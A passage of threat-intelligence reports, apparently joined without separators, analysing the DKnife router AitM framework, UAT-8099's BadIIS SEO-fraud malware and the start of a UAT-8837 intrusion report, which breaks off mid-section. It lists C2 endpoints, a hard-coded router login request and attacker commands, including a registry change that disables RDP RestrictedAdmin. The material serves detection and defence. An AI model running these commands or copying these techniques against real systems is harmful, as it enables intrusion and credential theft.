The DKnife traffic inspection module actively identifies and interferes with communications from antivirus and PC-management products. It detects 360 Total Security by searching HTTP headers (e.g., the DPUname header in GET requests or the x-360-ver header in POST requests) and by matching known service domain names. When a match is found, the module drops or otherwise disrupts the traffic with the crafted TCP RST packet. It similarly looks for and disrupts connections to Tencent services and PC-management endpoints. 

Recognized Tencent-related domains: 

• dlied6.qq.com 
• pcmgr.qq.com 
• pc.qq.com 
• www.qq.com/q.cgi 

Keywords used to match 360 Total Security-related domains: 

• 360.cn 
• 360safe 
• qihucdn 
• duba.net 
• mbdlog.iqiyi.com 

User activity monitoring 

DKnife inspects traffic to monitor and report user’s network activity to its remote C2 in real time. Observed telemetry categories include messaging (Signal and WeChat activities including voice/video calls, sent texts, received images, in-app article views), shopping, news consumption, map searches, video streaming, gaming, dating, taxi and rideshare requests, mail checking, and other user actions. Most of the activity reports are triggered by monitoring the request to service/platform domains or URLs. When reporting, the code sends a corresponding embedded message representing the reported activity. For example, Figure 18 shows the code to report Signal messaging activities. The message sent to remote C2 translates to “Using Signal encryption chat APP”. 

The table below shows some of the observed telemetry categories and the embedded messages.  

WeChat activities	微信打语音或视频电话 (WeChat voice or video calls)  微信发送一条文字消息 (WeChat send a text message)  微信发送或者接收图片 (WeChat send or receive picture)  微信打开公众号看文章 (WeChat checking official account and articles)
Using Signal	使用signal加密聊天APP (Use the Signal encrypted-chat app)
Shopping activity	查询**商品信息 (Query product information on **)
Query train-ticket information	查询火车票信息 (Query train-ticket information)
Searching on Maps	查看**地图 (View the map)
Reading News	****看新闻 (Read news)
Dating Activity	****打开时 (When the dating app opens)

Email/platforms credential harvesting and phishing 

DKnife can harvest credentials from a major Chinese email provider and host phishing pages for other services.  For harvesting email credentials, the sslmm.bin component presents its own TLS certificate to clients, terminates and decrypts POP3/IMAP connections, and inspects the plaintext stream to extract usernames and passwords. Extracted credentials are tagged with "PASSWORD", forwarded to the postapi.bin component, and ultimately relayed to remote C2 servers. 

DKnife can also serve phishing pages. The phishing routes are defined in url.cfg, and several phishing templates were discovered under /dkay-scripts/. All discovered pages submit harvested passwords to endpoints whose paths end with dklogin.html; however, no dklogin.html file was found in the local script directory. 

In addition to the capabilities described above, Talos observed DKnife functions that may target IoT devices. Talos is coordinating with the device vendor on mitigations. 

The DKnife downloader 

The ELF binary (17a2dd45f9f57161b4cc40924296c4deab65beea447efb46d3178a9e76815d06) we discovered from hunting is a downloader that downloads and performs initial setup for the DKnife framework. Upon execution, it attempts to load a configuration file from /dksoft/conf/server.conf to set up the C2 server. The server.conf file contains the C2 configuration in the format UPDATE URL=[config]. If the file does not exist, the binary defaults to the embedded C2 URL http://47.93.54[.]134:8005/. 

After configuring the C2, the binary retrieves or generates a UUID for the host device based on the MAC addresses of its network interfaces and stores it in /etc/diankeuuid. The UUID follows the format YYYYMMDDhhmmss[MAC1][MAC2] (e.g., 20240219165234000c295de649). The updater also stores a 32-character hexadecimal MD5 checksum in /dksoft/conf/<UUID>.ini, which is later used to verify updates from the C2 server.  

The code establishes persistence by modifying the /etc/rc.local file, a script commonly used to execute commands and scripts after the system boots and initializes services. The updater adds its commands between markers #startdianke and #enddianke. It also copies the currently running executable into the /dksoft/update/ directory and appends a corresponding entry to /dksoft/update/[executable path] auto to ensure the binary runs automatically each time the system starts. 

After creating the folders for DKnife deployment, the downloader fetches the DKnife archive from the C2 and launches every binary in /dksoft/bin/ using nohup [filepath] 2>/dev/null 1>/dev/null &. The folder contains seven binaries, each performing a distinct role within the DKnife framework. 

DKnife’s seven components 

The seven implants in DKnife serve the purpose of DPI engine, data reporting, reverse proxy for AitM attack, malicious APK download, framework update, traffic forwarding, and building P2P communication channel with the remote C2. A summary of the components and their roles are listed in the table below:

ELF Implant	Role	Description
dknife.bin	DPI & Attack Engine	The main engine of DKnife. Includes logic for deep packet inspection, user activities reporting, binary download hijacking, DNS hijacking, etc.
postapi.bin	Data Reporter	Performs as traffic labelling and relay component, receives traffic from DKnife and reports to remote C2.
sslmm.bin	Reverse Proxy	Reverse proxy server module modified from HAProxy. TLS termination, email decryption, and URL rerouting.
mmdown.bin	Updater	Malicious Android APK downloader/updater. It connects to C2 to download the APKs used for the attack.
yitiji.bin	Packets Forwarder	Creates a bridged TAP interface on the router to host and route attacker-injected LAN traffic.
remote.bin	P2P VPN	Customized N2N (a P2P) VPN client component that creates a communication channel to remote C2.
dkupdate.bin	Updater & Watchdog	Updater and Watchdog to keep the components alive.

The graph below shows how the seven DKnife components work together. 

DKnife.bin 

The dknife.bin implant is the main component that acts as the brain of DKnife. It is in charge of all the packet inspection and attack logics, as described in the Key Capabilities section. Upon execution, the implant does some initial setup for the framework. It reads the configuration file /dksoft/conf/wxha.conf to search for the sniffing interface (INPUT_ETH) and attacker interface (ATT_ETH). If the config file is not presented, the default interface for both are eth0. It also reads configuration files for attacking rules and remote C2.  

Throughout the packet inspection process, dknife.bin reports information including collected data, user’s activities, attack status and average throughput to the relay component postapi.bin listening at the 7788 port on the device. The reporting packets are a 256-byte UDP datagram with a fixed seven bytes prefix DK7788. At offset 0x40 a label is attached, which represents types of the information (example types including DKIMSI for IMSI information, USERID for harvested user accounts, WECHAT for WeChat activities reporting, ATKRESULT for attack results, etc). Each type of reporting has the corresponding report value format. We listed some examples in the graph below.  

Postapi.bin 

This is the data relay component in DKnife. It receives forwarded UDP dataframe from dknife.bin, processes, identifies, and labels the data and sends them to remote C2 servers. When receiving the UDP dataframe, it validates the DK7788 prefix and extracts device ID, MAC address, source and destination IPs and ports. It then exfiltrates more interesting data based on the rules defined in file ssluserid.conf. The file is a rulebook for defining the targeted services/platforms and the corresponding scrapping data. The rules define the following methods for scraping: 

• get_url: scrape a value from the URL of a GET request  
• get_cookie: scrape from Cookie header of a GET  
• post_url: scrape from the URL of a POST  
• post_cookie: scrape from Cookie header of a POST  
• post_content: scrape from the body of a POST  

Each rule also defines which data fields to collect. These include device IDs, phone numbers, IMEIs/IMSIs, MACs, UUIDs, IPs, usernames, etc. DKnife targets dozens of popular Chinese-language mobile and web apps, some of which are only available to Chinese users. Figure below shows part of the rules in the configuration file

Postapi.bin loads the configuration file server.conf to obtain the address of the remote C2 server used for data exfiltration. If the file is missing, it defaults to https://47.93.54[.]134:8003. The component uses libcurl to send different types of exfiltrated and reporting data via HTTP POST requests to specific API endpoints. The following table lists the reporting URLs and the corresponding data transmitted.

Default URL in the binary	Data Transmitted
https://47.93.54[.]134:8003/protocol/tcp-data	Full HTTP or DNS records: URL, headers, optional body (Base-64); raw packet excerpts
https://47.93.54 [.] 134:8003/protocol/channel-trigger-log	DKnife status log, debugging logs
https://47.93.54 [.] 134:8003/protocol/virtual-id	Bundles of device identifiers (IMEI, IMSI, phone number, MAC, UUID, IP) tied to a host name
https://47.93.54 [.] 134:8003/protocol/user-account	Harvested user credentials
https://47.93.54 [.] 134:8003/protocol/application	Posts per-application DNS/traffic-hijack data
https://47.93.54 [.] 134:8003/protocol/target-info	Online/offline heart-beat for a specific subscriber: PPPoE, MAC, last-seen time, device UUID
https://47.93.54 [.] 134:8003/public/bind-ip	IP&UUID bindings
https://47.93.54 [.] 134:8003/protocol/internet-action	WeChat/QQ “internet action” logs (e.g., friend-adds, file-sends)
https://47.93.54 [.] 134:8003/protocol/attack-result	Logs of attacking results

The posted data always include a dkimsi=<IMSI> at the end of the data, which is the IMSI or mobile identifier extracted from the packets if available. The binary set a default IMSI 460110672021628 in the code, which is an IMSI with a China Telecom carrier. 

Sslmm.bin 

This component acts as the reverse proxy server for the AitM attack and is implemented as a pre-configured, customized build of HAProxy. It loads its primary configuration from sslmm.cfg and performs request hijacking and replacement according to rules defined in url.cfg. Copies of hijacked traffic and execution results are encapsulated as UDP dataframes and sent to the postapi.bin component, similar to the behavior implemented in dknife.bin. 

In addition to standard HAProxy proxying, sslmm.bin includes custom logic to inspect, log, exfiltrate, and conditionally rewrite client HTTP(S) requests after TLS termination. Content injection is primarily performed through HTTP request-line replacement, redirecting victims to attacker-controlled resources that are typically hosted under the /dkay-scripts/ directory. The resulting telemetry and artifacts are then relayed via postapi.bin to remote C2 infrastructure. 

Operationally, the HAProxy configuration terminates TLS on HTTPS and mail-over-TLS ports (443, 993, 995) using a self-signed certificate stored at /dksoft/conf/server.pem, and proxies the decrypted traffic to the appropriate backends. A management/statistics interface is exposed on 0.0.0.0:10800 and protected only by static credentials. Requests matching the /dkay-scripts/ path are selectively downgraded to plain HTTP and routed to a local service at 127.0.0.1:81, enabling response modification or injection before content is returned to the client. 

This interception model depends on a key trust assumption: for the TLS MITM to be transparent, endpoints must accept the certificate chain presented by the gateway. One hypothesis is that the associated endpoint malware (given the broader DarkNimbus toolchain across Windows and Android) may be used to establish that trust or weaken certificate validation, enabling host-specific certificates to be presented during interception. However, we did not have the artifacts to confirm that such trust establishment or validation bypass is performed on victim devices.  

Yitiji.bin 

Yitiji.bin is a DKnife component that creates a bridged TAP interface on the router to host and route attacker-injected LAN traffic. It creates a virtual TAP interface named “yitiji”, using the IP address 10.3.3.3 and MAC address 1E:17:8E:C6:56:40, and bridges that interface to the real network. 

DKnife responds to binary download requests using URL points to the Yitiji interface (e.g., http://10.3.3.3:81/app/base.apk). When such a request is received, the dknife.bin component forwards the traffic to UDP port 555, where yitiji.bin is listening. The component then determines the appropriate link-layer encapsulation, reconstructs complete Ethernet/IP/TCP frames (primarily TCP and ICMP), corrects packet lengths and checksums, and injects them into the TAP interface. This causes the kernel to treat the forged traffic as legitimate LAN communication. Through this mechanism, DKnife can receive the binary download request and serve the payload via this interface. In the reverse direction, Yitiji captures packets leaving the TAP, restores their original VLAN/PPPoE/4G headers, recalculates IP and TCP checksums, and transmits them through the physical network interface specified in the configuration file /dksoft/conf/wxha.conf. It also fabricates ARP replies so other hosts treat the interface as a device in the LAN. 

In this way, Yitiji creates a distinct LAN for delivering the malware. This approach facilitates the AitM attack for binary downloads in a stealthy way that avoids IP conflicts and detection.  

Remote.bin 

This component functions as an N2N peer-to-peer VPN client. When executed it creates a virtual network device named “edge0” and attaches it to a P2P overlay, automatically joining the hardcoded community dknife and registering with the embedded supernode. All traffic routed into edge0 is encapsulated and forwarded over UDP to overlay peers, and the binary also binds a management UDP port on 5644. 

With this component, the gateway itself becomes reachable from the overlay and can serve as an egress point for data exfiltration. The implementation supports Twofish encryption if an N2N_KEY environment variable is supplied, but no such key was embedded in the analysed code or associated files. 

Mmdown.bin 

This binary is a simple Android APK malware downloader and update component in the DKnife framework. It communicates with a hardcoded C2 (http://47.93.54[.]134:8005) and periodically checks for an update manifest and then downloads whatever files the server specifies. 

On startup it ensures a handful of local directories exist and generates or reads the UUID from file /etc/diankeuuid to uses it as the filename for the downloaded per-host manifest file <UUID>.mm. The “.mm” file is a list of URLs and MD5 pairs in the format of http://[URL]<TAB><16-byte MD5>. After downloading the manifest file, it parses the file and repeatedly attempts to download each URL over plain HTTP, verifies the downloaded file’s MD5, and on success copies the file into the local web content directory /dksoft/html/app/. When one or more files are successfully fetched it archives the manifest into /dksoft/conf/<UUID>.mm and updates internal MD5 bookkeeping so it doesn’t repeatedly download the same files. 

Dkupdate.bin 

This binary functions as a DKnife download, deploy, and update component similar to the downloader we initially discovered, but with additional capabilities. It retrieves an update archive update_bin.tar.gz from a C2 server (using a different embedded default URL: http://117.175.185[.]81:8003/), launches a separate binary called eth5to2.bin (not included in the downloaded archive, likely for traffic forwarding) and starts Nginx to run the web server to serve the hijacking components that manipulate HTTP/HTTPS responses.

Getting Network Devices Information 

In both dknife.bin and postapi.bin components, DKnife tries to login to an interface which is likely for router management at 192.168.92.92:8080 via the following POST request to retrieve network users and PPPOE information. The POST request for login and getting device information both sent a password MD5 (which is the MD5 of q1w2e3r4) for authentication. If successful login, the server replies with a device serial number (SN) and number of users currently registered. If the number is not zero, the implant requests for the list of MAC and PPPoE ID mapping. 

POST /login HTTP/1.1 

Host: 192.168.92.92:8080 

Content-Type: application/json 

Content-Length: 38 

 

{"passwdMD5":"c62d929e7b7e7b6165923a5dfc60cb56"} 

 

POST /fe-device-info HTTP/1.1 

Host: 192.168.92.92:8080 

User-Agent: Mozilla/5.0 

Cookie: feWebSession={"sessionId":****} 

Content-Length: 48 

 

{"passwdMD5":"c62d929e7b7e7b6165923a5dfc60cb56"} 

 

POST /user HTTP/1.1 

Host: 192.168.92.92:8080 

User-Agent: Mozilla/5.0 

Cookie: feWebSession={"sessionId":} 

Content-Type: application/json 

Content-Length: 15 

 

{"index":"all"} 

Conclusion 

Routers and edge devices remain prime targets in sophisticated targeted attack campaigns. As threat actors intensify their efforts to compromise this infrastructure, understanding the tools and TTPs they employ is critical. The discovery of the DKnife framework highlights the advanced capabilities of modern AitM threats, which blend deep‑packet inspection, traffic manipulation, and customized malware delivery across a wide range of device types. Overall, the evidence suggests a well‑integrated and evolving toolchain of AitM frameworks and backdoors, underscoring the need for continuous visibility and monitoring of routers and edge infrastructure. 

Appendix 

Configuration Files 

Config file	In Default Archive	Description
/dksoft/conf/wxha.conf	Yes	Config for the attack and sniff interface, output environment, QQ proxy host.
/dksoft/conf/rules.aes  /dksoft/conf/rules.conf		rulebook for HTTP(S) traffic hijacking.
/dksoft/conf/dns.conf		DNS hijacking mapping configuration.
/dksoft/conf/url.cfg	Yes	Configuration for traffic blocking, Android + Windows phishing, executable file (.exe)  replacement, credential-stealer pages & scripts.
/dksoft/conf/server.conf		C2 configuration
/dksoft/conf/adsl.conf		Configuration related to the ADSL related rules
/dksoft/conf/userid.conf		Configuration to define what user information to collect from the targeted traffic.
/dksoft/conf/appdns.conf		Configuration to map domain names to certain apps.
/dksoft/conf/browser.conf		Configuration to map user agents to browsers.
/dksoft/conf/perdns.conf	Yes	DNS hijacking mapping configuration for more specific arguments for control.
/dksoft/conf/target.conf		Configuration about targets. Operator’s watchlist of subscriber identifiers (MAC or PPPoE)
/dksoft/conf/target_mac.conf		Shadow file of target list.
/dksoft/conf/ssluserid.conf		Read by postapi.bin, not in the archive by default. Traffic sniffing and data exfiltration playbook
/dksoft/conf/appname.conf		Configuration that lets the implant classify traffic for apps and attach rich context before sending it to C2 or using it in hijack/redirect logic.
/dksoft/conf/retry.conf		The rules to define what traffic for retry
/dksoft/conf/black.conf	Yes	The config file for blocking traffic
/dksoft/conf/white.conf		The config file for approving traffic
/dksoft/conf/datacenter.conf		mapping of UUID in URL&IP for the postAPI module.
/dksoft/conf/sslmm.cfg		Config for the sslmm HAproxy module.
/dksoft/conf/hosts		DNS list for triggering rules

Certificate 

Fingerprint=78:47:E0:0E:9C:0A:60:80:A6:48:CE:97:7F:30:63:7E:8A:D5:22:97:EA:10:8E:5F:CB:E9:87:48:49:BC:A5:47 

Certificate: 

    Data: 

        Version: 3 (0x2) 

        Serial Number: 

            c7:d6:08:d3:74:d1:a8:0e 

        Signature Algorithm: sha256WithRSAEncryption 

        Issuer: C=CN, ST=beijing, L=beijng, O=BEIJING JINGDONG SHANKE, OU=BEIJING JINGDONG SHANKE, CN=*.jd.com 

        Validity 

            Not Before: Jan  9 01:38:16 2020 GMT 

            Not After : Jan  4 01:38:16 2040 GMT 

        Subject: C=CN, ST=beijing, L=beijing, O=BEIJING JINGDONG SHANKE, OU=BEIJING JINGDONG SHANKE, CN=*.jd.com 

        Subject Public Key Info: 

            Public Key Algorithm: rsaEncryption 

Fingerprint=80:BC:19:8B:A9:E9:0E:62:50:4B:21:EC:69:2F:87:30:3B:7D:75:E7:A8:95:06:D3:0B:FA:52:18:57:23:3D:72 

Certificate: 

    Data: 

        Version: 3 (0x2) 

        Serial Number: 

            c0:5d:fd:b4:4c:28:07:72 

        Signature Algorithm: sha256WithRSAEncryption 

        Issuer: C=CN, ST=Sichuan, L=Chengdu, O=Default Company Ltd 

        Validity 

            Not Before: Sep 20 06:43:37 2018 GMT 

            Not After : Aug 27 06:43:37 2118 GMT 

        Subject: C=CN, ST=Sichuan, L=Chengdu, O=Default Company Ltd 

        Subject Public Key Info: 

            Public Key Algorithm: rsaEncryption 

Coverage 

The following ClamAV signature detects and blocks this threat: 

• Win.Trojan.Shadowpad-10010830-1 
• Win.Loader.WizardNet-10044819-0 
• Win.Trojan.DarkNimbus-10059255-0  
• Win.Trojan.DKnife-10059257-0 
• Unix.Trojan.DKnife-10059259-0   
• Win.Trojan.DKnife-10059260-0   

The following Snort rules cover this threat: 

• Snort 2 – 65533
• Snort 3 – 65533

Indicators of Compromise (IoCs) 

IOCs for this research can also be found at our GitHub repository here.

• Cisco Talos has identified a new campaign by UAT-8099, active from late 2025 to early 2026, that is targeting vulnerable Internet Information Services (IIS) servers across Asia with a specific focus on victims in Thailand and Vietnam. 
• Analysis confirms significant operational overlaps between this activity and the WEBJACK campaign. This includes critical indicators of compromise including malware hashes, command and control (C2), and victimology. 
• UAT-8099 uses web shells and PowerShell to execute scripts and deploy the GotoHTTP tool, granting the threat actor remote access to vulnerable IIS servers. 
• New variants of BadIIS now hardcode the target region directly into the malware, offering customized features for each specific variant. These customizations include exclusive file extensions, corresponding dynamic page extensions, directory indexing configurations, and the ability to load HTML templates from local files. 
• A Linux Executable and Linkable Format (ELF) variant of BadIIS was uploaded to VirusTotal on Oct. 1, 2025. The malware includes proxy mode, injector mode, and search engine optimization (SEO) fraud mode, similar to what Talos described in the previous UAT-8099 blog.

---

UAT-8099 new activity 

Cisco Talos observed new activity from UAT-8099 spanning from August 2025 through early 2026. Analysis of Cisco's file census and DNS traffic indicates that compromised IIS servers are located across India, Pakistan, Thailand, Vietnam, and Japan, with a distinct concentration of attacks in Thailand and Vietnam. Furthermore, this activity significantly overlaps with the WEBJACK campaign; we have identified high-confidence correlations across malware hashes, C2 infrastructure, victimology, and the promoted gambling sites.

While the threat actor continues to rely on web shells, SoftEther VPN, and EasyTier to control compromised IIS servers, their operational strategy has evolved significantly. First, this latest campaign marks a shift in their black hat SEO tactics toward a more specific regional focus. Second, the actor increasingly leverages red team utilities and legitimate tools to evade detection and maintain long-term persistence.

Infection chain 

Upon gaining initial access, the threat actor executes standard reconnaissance commands, such as whoami and tasklist, to gather system information. Following this, they deploy VPN tools and establish persistence by creating a hidden user account named “admin$”. UAT-8099 has further expanded their arsenal with the several new tools below: 

• Sharp4RemoveLog: A .NET utility designed to clear all Windows event logs, effectively erasing forensic traces 
• CnCrypt Protect: A Chinese-language file-protection utility. In this intrusion activity, it is abused to hide malicious files and facilitate dynamic-link library (DLL) redirection. This tool has been linked to previous IIS attacks since 2024, including SEO fraud campaigns targeting Vietnam and China, as well as the WEBJACK campaign. 
• OpenArk64: An open source anti-rootkit. The threat actor uses its kernel-level access to terminate security product processes that are otherwise protected from deletion. 
• GotoHTTP: An online remote control tool. The threat actor uses VBscript to deploy this tool and let them remote control the compromised server. Talos provides more detail in the following section.  

Subsequently, the threat actor deploys two archive files containing the latest version of the BadIIS malware. Notably, the file names of these archives are correlated with the specific geographic regions targeted by the BadIIS malware; for example, “VN” denotes Vietnam and “TH” denotes Thailand.

C:/Users/admin$/Desktop/TH.zip 
C:/Users/admin$/Desktop/VN.zip 

 Following the publication of our previous research, Cisco Security products have widely flagged the “admin$” account name. In response, if this name is blocked, the threat actor  creates a new user account named “mysql$” to maintain access and sustain the BadIIS SEO fraud service.

Using the newly created account, the threat actor redeploys the updated BadIIS malware to the compromised machines. Notably, this marks a strategic shift from broad, global targeting to specific regional focus. This is evidencedby the directory naming conventions for the malware and its scripts, which use identifiers such as “VN” for Vietnam and “newth” for Thailand.

C:/Users/mssql$/Desktop/VN/fasthttp.dll  
C:/Users/mssql$/Desktop/VN/cgihttp.dll  
C:/Users/mssql$/Desktop/VN/install.bat  
C:/Users/mssql$/Desktop/VN/uninstall.bat  
C:/Users/mssql$/Desktop/newth/iis32.dll  
C:/Users/mssql$/Desktop/newth/iis64.dll  
C:/Users/mssql$/Desktop/newth/install.bat  
C:/Users/mssql$/Desktop/newth/uninstall.bat  

Additionally, Talos observed the UAT-8099 threat actor attempting to create alternative hidden accounts to maintain persistence. The specific commands used to create these accounts and execute subsequent actions are detailed in Figures 3a, 3b, and 3c.

Abuse of the GotoHTTP remote control tool 

Talos has observed several instances where UAT-8099 uses a web shell to execute PowerShell commands, which subsequently download and run a malicious VBScript. This script is designed to deploy the GotoHTTP tool and exfiltrate the “gotohttp.ini” configuration file to the C2 server. This enables the threat actor to obtain the connection ID and password necessary to remotely control the infected server.

The malicious script contains multiple functions, each annotated by the threat actor using Simplified Chinese and Pinyin comments. We provide a detailed analysis of these functions below.

The code begins by initializing key parameters, including the download and upload URLs, file paths, and the expected file size of “gotohttp.exe”. Notably, this initialization section is marked with the comment “dingyichangliang” (定义常量), which translates to “Define Constants.”

The first functional block is marked with the comment “xiazaiwenjian” (下载文件), which translates to “Download File.” In this section, the code utilizes an HTTP GET request to download the GotoHTTP tool, saving it to the public folder as “xixixi.exe”.

The second and third function blocks are marked with the comments “jianchawenjian” (检查文件) and “jianchawenjian” (检查文件大小), translating to “Check File” and “Check File Size," respectively. In these sections, the code verifies the integrity of the downloaded GotoHTTP tool by ensuring the file size exceeds the threshold defined in the previous block. If the validation fails, the script sends an error message to the C2 server, reporting either“xiazaishibai” (下载失败 - Download Failed) or “daxiaobudui” (大小不对 - Incorrect Size).

The fourth and fifth function blocks are marked with the comments “zhixingwenjian” (执行文件) and “jianchajieguo” (检查结果), translating to “Execute File” and “Check Result,” respectively. In these sections, the code executes the GotoHTTP tool in a hidden window without waiting for the process to terminate. Notably, the code uses Chr(34) to represent quotation marks, as indicated by the comments. This technique is employed to avoid syntax errors caused by improper escaping; using Chr(34) allows the insertion of the double-quote character without breaking the code structure. 

Following a five-second sleep delay, the script attempts to upload the “gotohttp.ini” file to the C2 server. If the file is missing, it sends the error message “gotohttp.ini bucunzai” (gotohttp.ini 不存在 - gotohttp.ini does not exist).

The last function blocks are marked with the comment “qingli" (清理), translating to “Clean.”. This section will clean up all the COM objects.

Two new BadIIS malware to target specific region 

Since September 2025, Talos has observed two new variants of BadIIS appearing in the wild, both utilized for SEO fraud. While other vendors have observed these malware, this section provides a deep analysis based on our reverse engineering and infection chain assessment. We have determined that UAT-8099 customizes these new cluster BadIIS to target specific regions. The first cluster, which we have named BadIIS IISHijack, derives its name from the original malware file name. The second cluster, BadIIS asdSearchEngine, is named after the PDB strings observed within the sample.

E:\原生DLL\SearchEngine\Release\SearchEngine.pdb
C:\Users\qwe\source\repos\Dll1dasd\x64\Release\Dll1dasd.pdb 

BadIIS IISHijack primarily targets victims in Vietnam. This variant explicitly embeds the country code within its source code and creates a specific directory named when the malware drops into the victim’s machine.

BadIIS asdSearchEngine malware focuses on targets in Thailand or users with Thai language preferences. By using the CHttpModule::OnBeginRequest handler, the malware hijacks incoming HTTP traffic and analyzes headers such as “User-Agent” and “Referer” to determine its next move. A key addition to this version is the use of the “Accept-Language” header to verify the target region.

When an infected IIS server receives a request, the malware first filters the file path. If the path contains an extension on its exclusion list, it ignores the request to preserve static resources. Next, it checks the “User-Agent” to see if the visitor is a search engine crawler (e.g., Googlebot, sogu, 360spider, or Baiduspider). If confirmed, the crawler is redirected to an SEO fraud site. However, if the visitor is a standard user and the malware verifies that the “Accept-Language” field indicates Thai, it injects HTML containing a malicious JavaScript redirect into the response.  

We have identified three distinct variants within this BadIIS cluster. While they share the core workflow described above, each possesses unique features, which are detailed in the following section. Moreover, to evade detection, some specific variants employ XOR encryption (key 0x7A) to obfuscate their C2 configuration and malicious HTML content.

Exclusive multiple extensions variant 

While many variants employ extensive exclusion lists, the specific extensions targeted can differ between them. For the purpose of this analysis, we will use a representative example to illustrate the general functionality and strategy. Before executing its malicious payload, the new BadIIS variant inspects the URL path for specific file extensions. This filtering mechanism serves three strategic objectives:  

• The extensions (.png, .jpg, .css, .js, .woff, .ttf, .eot, and .otf) are critical for a website's appearance, layout, and interactive features. If the BadIIS were to indiscriminately redirect or tamper with requests for these essential assets, the website would quickly appear broken to users and administrators. 
• The BadIIS likely uses filtering based on document type extensions (.pdf, .txt, .xml, .json, .doc, .docx, .xls, and .xlsx) and web-related files extensions (.manifest, .appcache, .webmanifest, .robots, and .sitemap) to focus its malicious injections (e.g., hidden links, keywords, malicious scripts) or redirect specifically on HTML pages or other content types that contribute to SEO rankings or user interaction, while leaving static assets untouched. 
• The archive extensions (.zip, .rar, .7z, .tar, .gz) are filtered so that the BadIIS can conserve resources.

Dynamic page extension/directory index variant 

Another variant of BadIIS adds a validation function that checks if a requested path corresponds to a dynamic page extension or a directory index. This determines whether the request is routed to the malware's dynamic processing flow.

We assess that the threat actor, UAT-8099, implemented this feature to prioritize SEO content targeting while maintaining stealth. Since SEO poisoning relies on injecting JavaScript links into pages that search engines crawl, the malware focuses on dynamic pages (e.g., default.aspx, index.php) where these injections are most effective. Furthermore, by restricting hooks to other specific file types, the malware avoids processing incompatible static files, thereby preventing the generation of suspicious server error logs. 

Load HTML templates variant 

The last variant of BadIIS contains a sophisticated HTML template generation system that dynamically creates web content. It has a content generator that can load templates from disk or use embedded fallbacks, then performs extensive placeholder replacement with random data, dates, and URL-derived content.

If there are no files found in the host, the BadIIS generates a response using an embedded HTML template, populating a date placeholder with the local system time. Notably, the variable names within this HTML template are written in Chinese Pinyin. Below, Talos provides detailed translations of these variables. Analyzing these names allows us to accurately determine how the dynamic template leverages keywords to facilitate SEO fraud.

Head section 

• <title>{biaoti}</title>: The browser tab title; substituted from {biaoti} (“标题”, title). 
• <meta name="description" content="{shoudongmiaoshu}">: SEO description; {shoudongmiaoshu} (“手动描述”, manual description). 
• <meta name="keywords" content="{guanjianci}">: SEO keywords; {guanjianci} (“关键词”, keywords).  

Body section 

• <h1>Welcome to {biaoti}</h1>: Main heading, repeats the title. 
• <p>{shoudongmiaoshu}</p>: A paragraph with the manual description. 
• <p>Current URL: {gudinglianjie}</p>: Shows the fixed/current link; {gudinglianjie} (“固定链接”, permalink). 
• <p>Date: {riqi}</p>: The date; {riqi} (“日期”, date). 
• <p>Contact: {suijirenming1}</p>: A contact name; {suijirenming1} (“随机人名”, random person name). 
• <div>{suijiduanluo1}</div>: A block of content; {suijiduanluo1} (“随机段落”, random paragraph).

The keywords that UAT-8099 intends to promote are directly embedded within the BadIIS malware. BadIIS utilizes these keywords to populate page titles and generate HTML content, thereby facilitating SEO fraud. The screenshot below captures a representative sample of these keywords; however, the complete list embedded within the malware is significantly more extensive.

Linux BadIIS variant found on VirusTotal 

Talos also identified an ELF variant of BadIIS submitted to VirusTotal that exhibits functionality identical to the samples described in Talos' previous blog post that includes the proxy, injector, and SEO fraud modes. Furthermore, the malware's hardcoded C2 servers share the same domain we previously documented. Based on these indicators, we assess with high confidence that this malware is attributable to UAT-8099. 

Below is the targeted URL path pattern, which is identical to the pattern in our previous UAT-8099 post.

news|cash|bet|gambling|betting|casino|fishing|deposit|bonus|sitemap|app|ios|video|games|xoso|dabong|nohu

While the behavior and URL path signature match our previous report, there is a key difference between this ELF BadIIS variant and the older BadIIS. Unlike the previous version, which targeted numerous search engines, this variant targets only three. The target search engines are shown as follows.

User-agent	Referer
Googlebot	google
Bingbot	bing
Yahoo!	yahoo

Coverage 

ClamAV detections are also available for this threat: 

• Win.Malware.Tedy-10059198-0  
• Win.Trojan.Crypter-10059205-0  
• Win.Trojan.BadIIS-10059191-0  
• Unix.Trojan.BadIIS-10059196-0  
• Win.Trojan.IISHijack-10059197-0  
• Win.Malware.Remoteadmin-10059206-0  
• Win.Packed.Zpack-10059207-0  
• Txt.Trojan.BadIIS-10059202-0 

The following Snort Rules (SIDs) detect and block this threat: 

• Snort2: 65712, 65713, 65710, 65711, 65708, 65709, 65707, 65706. 
• Snort3: 301378, 301377, 301376, 65707, 65706 

Indicators of compromise (IOCs) 

The IOCs for this threat are available at our GitHub repository here. 

• Cisco Talos is closely tracking UAT-8837, a threat actor we assess with medium confidence is a China-nexus advanced persistent threat (APT) actor based on overlaps in tactics, techniques, and procedures (TTPs) with those of other known China-nexus threat actors.
• Based on UAT-8837's TTPs and post-compromise activity Talos has observed across multiple intrusions, we assess with medium confidence that this actor is primarily tasked with obtaining initial access to high-value organizations.
• Although UAT-8837's targeting may appear sporadic, since at least 2025, the group has clearly focused on targets within critical Infrastructure sectors in North America.

After obtaining initial access — either by successful exploitation of vulnerable servers or by using compromised credentials — UAT-8837 predominantly deploys open-source tools to harvest sensitive information such as credentials, security configurations, and domain and Active Directory (AD) information to create multiple channels of access to their victims. The threat actor uses a combination of tools in their post-compromise hands-on-keyboard operations, including Earthworm, Sharphound, DWAgent, and Certipy. The TTPs, tooling, and remote infrastructure associated with UAT-8837 were also seen in the recent exploitation of CVE-2025-53690, a ViewState Deserialization zero-day vulnerability in SiteCore products, indicating that UAT-8837 may have access to zero-day exploits.

---

Post-compromise actions

UAT-8837 can exploit both n-day and zero-day vulnerabilities to gain access to target environments. Most recently, UAT-8837 exploited a ViewState Deserialization zero-day vulnerability in SiteCore products, CVE-2025-53690, to obtain initial access.

After UAT-8837 gains initial access, they begin conducting preliminary reconnaissance, leveraging the following commands:

ping google[.]com
tasklist /svc
netstat -aon -p TCP
whoami
quser
hostname
net user

The threat actor disables RestrictedAdmin for Remote Desktop Protocol (RDP) to obtain credentials for remoting into other devices:

REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

A shell console may subsequently be opened via “cmd.exe” to conduct hands-on keyboard activity on the compromised endpoint. Multiple artifacts are then downloaded to the following directories which were extensively used for staging artifacts:

C:\Users\<user>\Desktop\
C:\windows\temp\
C:\windows\public\music

UAT-8837 tool usage

UAT-8837 may use a variety of tooling throughout the course of an intrusion. This variation in tooling may be because many of these tools are detected and blocked by most security products such as Cisco Secure Endpoint (CSE) which often leads the threat actor to cycle through different variants of the tools to find versions that are not detected.

GoTokenTheft

